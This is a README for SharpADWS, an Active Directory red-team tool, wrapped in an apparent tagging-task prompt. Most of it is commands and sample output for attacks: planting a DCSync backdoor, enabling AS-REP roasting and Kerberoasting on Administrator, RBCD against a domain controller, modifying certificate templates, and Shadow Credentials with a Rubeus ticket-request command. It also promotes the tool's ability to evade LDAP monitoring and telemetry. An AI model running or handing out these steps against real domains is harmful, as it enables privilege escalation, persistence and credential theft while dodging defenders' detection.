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base on Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS). # SharpADWS [中文文档](https://github.com/wh0amitz/SharpADWS/blob/master/README-ZH-CN.md) Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS). ## Overview SharpADWS is an Active Directory reconnaissance and exploitation tool for Red Teams that collects and modifies Active Directory data via the Active Directory Web Services (ADWS) protocol. Typically, enumeration or manipulation of Active Directory occurs through the LDAP protocol. SharpADWS has the ability to extract or modify Active Directory data without communicating directly with the LDAP server. Under ADWS, LDAP queries are wrapped in a series of SOAP messages and then sent to the ADWS server using a NET TCP Binding encrypted channel. The ADWS server then unpacks the LDAP query locally and forwards it to the LDAP server running on the same domain controller. Active Directory Web Services (ADWS) is automatically turned on when Active Directory Domain Services (ADDS) is installed, making SharpADWS universal across all domain environments. ## Good Point One of the main benefits of using ADWS for LDAP post-exploitation is that it is relatively unknown, and since LDAP traffic is not sent over the network, it is not easily detected by common monitoring tools. ADWS runs a completely different service than LDAP, is available on TCP port 9389, and uses the SOAP protocol as its interface. While researching ADWS, we noticed that since it is a SOAP web service, the actual execution of the LDAP query is done locally on the domain controller. This provides a number of interesting side effects that turn out to be beneficial. For example, when analyzing LDAP queries on a domain controller, you may notice that the queries originate from 127.0.0.1 logs, which in many cases will be ignored. A secondary benefit of this is that the activity does not show up in DeviceEvents under the LDAPSearch action type, which means very little telemetry data is available. ## Protocol Implementation SharpADWS implements [MS-ADDM](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-addm/af3eb9be-b407-4423-a707-387fedbbaf1d), [MS-WSTIM](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-wstim/08164681-df91-49bd-a0ea-ce949d1cc536) and [MS-WSDS](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsds/2ded136c-2fe2-4f7d-8d09-a7118815c6bb) protocol, you can use the source code of this project to easily implement the following operations on Active Directory Web Services: - Enumerate：Creates a context that maps to the specified search query filter. - Pull：Retrieve the result object in the context of a specific enumeration. - Renew：Updates the expiration time of the specified enumeration context. - GetStatus：Gets the expiration time of the specified enumeration context. - Release：Releases the specified enumeration context. - Delete：Delete existing objects. - Get：Retrieve one or more properties from an object. - Put：Modify the contents of one or more properties on an object. - Add：Adds the specified property value to the specified property's value set, or creates the property if it does not already exist on the target object. - Replace：Replaces the set of values in the specified property with the values specified in the operation, or creates the property if it does not already exist on the target object. If no value is specified in the operation, all values on the currently specified attribute will be deleted. - Delete：Removes the specified attribute value from the specified attribute. If no value is specified, all values will be deleted. If the specified property does not exist on the target object, the PUT request fails. - Create：Create a new object. ## Usage The command line argument `-h` can be used to display the following usage information: ```cmd C:\Users\Marcus>SharpADWS.exe -h SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top) -h Display this help screen Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account FindDelegation options: No options, just run! ``` ### Cache When SharpADWS enumerates the ACL, in order not to perform additional ADWS requests for each unknown trustee object, it is necessary to create a complete cache of all account objects in advance through the cache method and save it to a file, thereby avoiding a large number of (unnecessary) flow. The cache contains a mapping of each account object name within the current domain to its objectSid. ```cmd C:\Users\Marcus>SharpADWS.exe Cache [*] Cache file has been generated: object.cache ``` ### Acl The Acl method can enumerate the DACL of the object specifying `-dn`, and supports filtering the enumerated DACL through the `-trustee`, `-right` and `-rid` parameters. For example, we want to enumerate all Domain Controller objects and filter out the DACL whose trustee is Marcus, as follows: ```cmd C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False ``` For another example, we want to enumerate all User objects and filter out DACLs with GenericWrite permissions and trustee RID greater than 1000, as shown below: ```cmd C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000 Severity : Critical ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False ``` In addition, the Acl method also supports enumeration of specific objects: ```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects ``` **It should be noted that the use of Acl Method must rely on the mapping cache that has been established through Cache method. ** ### DCSync The `list` action of the DCSync method can query all accounts that have been granted the DS-Replication-Get-Changes, DS-Replication-Get-Changes-All and DS-Replication-Get-Changes-In-Filtered-Set permissions, as follows Show: ```cmd C:\Users\Marcus>SharpADWS.exe DCSync -action list Severity : Info ObjectDN : DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ExtendedRight ObjectType : DS-Replication-Get-Changes-All Trustee : Administrators IsInherited : False Severity : Info ObjectDN : DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ExtendedRight ObjectType : DS-Replication-Get-Changes-All Trustee : Domain Controllers IsInherited : False Severity : Critical ObjectDN : DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ExtendedRight ObjectType : DS-Replication-Get-Changes-All Trustee : Alice IsInherited : False ``` **It should be noted that the `list` action of DCSync Method must rely on the mapping cache that has been established through Cache method.** Additionally, given sufficient permissions, you can grant DCSync permissions to an account via `write` to establish a domain persistence backdoor: ```cmd C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus [*] Account Marcus now has DCSync privieges on the domain. ``` ### DontReqPreAuth The `list` action of the DontReqPreAuth method can find all accounts with the "Do not require kerberos preauthentication" option set, as shown below: ```cmd C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list [*] Found users that do not require kerberos preauthentication: [*] CN=Bob,CN=Users,DC=corp,DC=local [*] CN=Alice,CN=Users,DC=corp,DC=local [*] CN=John,CN=Users,DC=corp,DC=local ``` Additionally, you can abuse WriteProperty permissions on the target account's userAccountControl property by enabling the "Do not require kerberos preauthentication" option for that account via `write` action to perform an AS-REP Roasting attack: ```cmd C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator [*] Set DontReqPreAuth for user Administrator successfully! ``` ### Kerberoastable The `list` action of the Kerberoastable method can find all accounts with SPN set up, as shown below: ```cmd C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list [*] Found kerberoastable users: [*] CN=krbtgt,CN=Users,DC=corp,DC=local [*] kadmin/changepw [*] CN=Bob,CN=Users,DC=corp,DC=local [*] WWW/win-iisserver.corp.local/IIS [*] TERMSERV/win-iisserver.corp.local [*] CN=John,CN=Users,DC=corp,DC=local [*] TERMSERV/WIN-SERVER2026 ``` Additionally, you can abuse WriteProperty permissions on the target account's servicePrincipalName property to perform a Kerberoasting attack by adding an SPN to that account (user accounts only) via `write` action: ```cmd C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator [*] Kerberoast user Administrator successfully! ``` ### AddComputer The AddComputer method allows you to create a new computer account within the scope of the `ms-DS-MachineAccountQuota` attribute value, which can be used in subsequent RBCD attacks. ```cmd C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd [*] Successfully added machine account PENTEST$ with password Passw0rd. ``` ### RBCD The `read` action of the RBCD method can read the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute value of the specified account object to check who has the right to resources delegate to the account, as shown below: ```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$ [*] Accounts allowed to act on behalf of other identity: [*] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [*] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [*] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117) ``` The `write` action of the RBCD method can write to the `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the target account object for Resource-Based Constrained Delegation attacks. As shown below, we first create a new extreme account `PENTEST$` using the AddComputer method, and then we can execute the following command to write the SID of `PENTEST$` into the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of `DC01$`: ```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$ [*] Delegation rights modified successfully! [*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113) ``` In addition, the SID added in `write` action can be removed from the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the target object through `remove` action: ```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$ [*] Delegation rights modified successfully! [*] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113) ``` ### Certify The `find` action of the Certify method can enumerate the data in ADCS, including all certificate authorities and certificate templates, just like [Certify](https://github.com/GhostPack/Certify): ```cmd C:\Users\Marcus>SharpADWS.exe Certify -action find [*] Find CA and certificate templates [*] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA' Enterprise CA Name : corp-DC01-CA DNS Name : DC01.corp.local FullName : DC01.corp.local\corp-DC01-CA Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834 Certificate Validity Start : 2/13/2024 5:55:36 PM Certificate Validity End : 2/13/2029 6:05:36 PM CA Permissions : Enrollment Rights : : Authenticated Users Object Control Permissions : ManageCA : : Enterprise Admins : DC01 : Domain Admins ManageCertificates : : Enterprise Admins : DC01 WriteDacl : : Enterprise Admins : DC01 : Domain Admins WriteOwner : : Enterprise Admins : DC01 : Domain Admins WriteProperty : : Enterprise Admins : DC01 : Domain Admins [*] Available Certificates Templates CA Name : CORP-DC01-CA Template Name : User Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT msPKI-Private-Key-Flag : EXPORTABLE_KEY CA Permissions : Enrollment Rights : : Domain Admins : Domain Users : Enterprise Admins Object Control Permissions : WriteDacl : : Domain Admins : Enterprise Admins WriteOwner : : Domain Admins : Enterprise Admins WriteProperty : : Domain Admins : Enterprise Admins : Domain Users CA Name : Template Name : UserSignature Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False pKIExtendedKeyUsage : Secure Email Client Authentication msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH msPkI-Enrollment-Flag : AUTO_ENROLLMENT msPKI-Private-Key-Flag : ATTEST_NONE CA Permissions : Enrollment Rights : : Domain Admins : Domain Users : Enterprise Admins Object Control Permissions : WriteDacl : : Domain Admins : Enterprise Admins WriteOwner : : Domain Admins : Enterprise Admins WriteProperty : : Domain Admins : Enterprise Admins : Domain Users # ... ``` In addition, `find` action supports the `-enrolleeSuppliesSubject` and `-clientAuth` options, which can filter out all certificate templates that have the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag turned on and support Client Authentication: ```cmd C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth [*] Find CA and certificate templates [*] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA' # ... [*] Available Certificates Templates CA Name : CORP-DC01-CA Template Name : User Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT msPKI-Private-Key-Flag : EXPORTABLE_KEY CA Permissions : Enrollment Rights : : Domain Admins : Domain Users : Enterprise Admins Object Control Permissions : WriteDacl : : Domain Admins : Enterprise Admins WriteOwner : : Domain Admins : Enterprise Admins WriteProperty : : Domain Admins : Enterprise Admins : Marcus : Domain Users # ... ``` **It should be noted that the `find` of Certify Method must rely on the mapping cache that has been established through Cache Method. ** The `modify` action of the Certify method allows you to modify the properties of the certificate template, such as turning on the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag or enabling Client Authentication, if you have write access to the target template: ```cmd C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth [*] Enable enrollee supplies subject for template User successfully! [*] Enable client authentication for template User successfully! ``` ### Whisker The Whisker method is able to perform the lifecycle of a ShadowCredentials attack just like [Whisker](https://github.com/eladshamir/Whisker). The `list` action of the Whisker method can list the `msDS-KeyCredentialLink` attribute value of the target account object: ```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$ [*] List deviced for DC01$: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [*] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [*] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM ``` The Whisker method's `add` action allows you to add a Key to the target account's `msDS-KeyCredentialLink` property to perform a ShadowCredentials attack if you have write access: ```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd [*] Certificate generaged [*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2 [*] Updated the msDS-KeyCredentialLink attribute successfully! [*] You can now run Rubeus with the following syntax: Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA 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 /password:"Passw0rd" /domain:cor p.local /getcredentials /show ``` Additionally, with `remove` action you can provide `-device-id` to remove the specified Key from the `msDS-KeyCredentialLink` property of the target object: ```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596 [*] Found value to remove [*] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM ``` ### FindDelegation The FindDelegation method can enumerate all delegation relationships in the current domain. This method has no redundant options or parameters: ```cmd C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation AccountName AccountType DelegationType DelegationRightsTo ----------- ----------- ---------------------------------- ---------------------------------------------- DC01$ Computer Unconstrained N/A PENTEST$ Computer Resource-Based Constrained DC01$ WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01 WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01 WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP ``` ## Say it at the end This project is completed by me independently, and there will inevitably be some bugs. Contributors are very welcome to submit issues to report bugs or propose new ideas to jointly improve the project! ", Assign "at most 3 tags" to the expected json: {"id":"7866","tags":[]} "only from the tags list I provide: []" returns me the "expected json"

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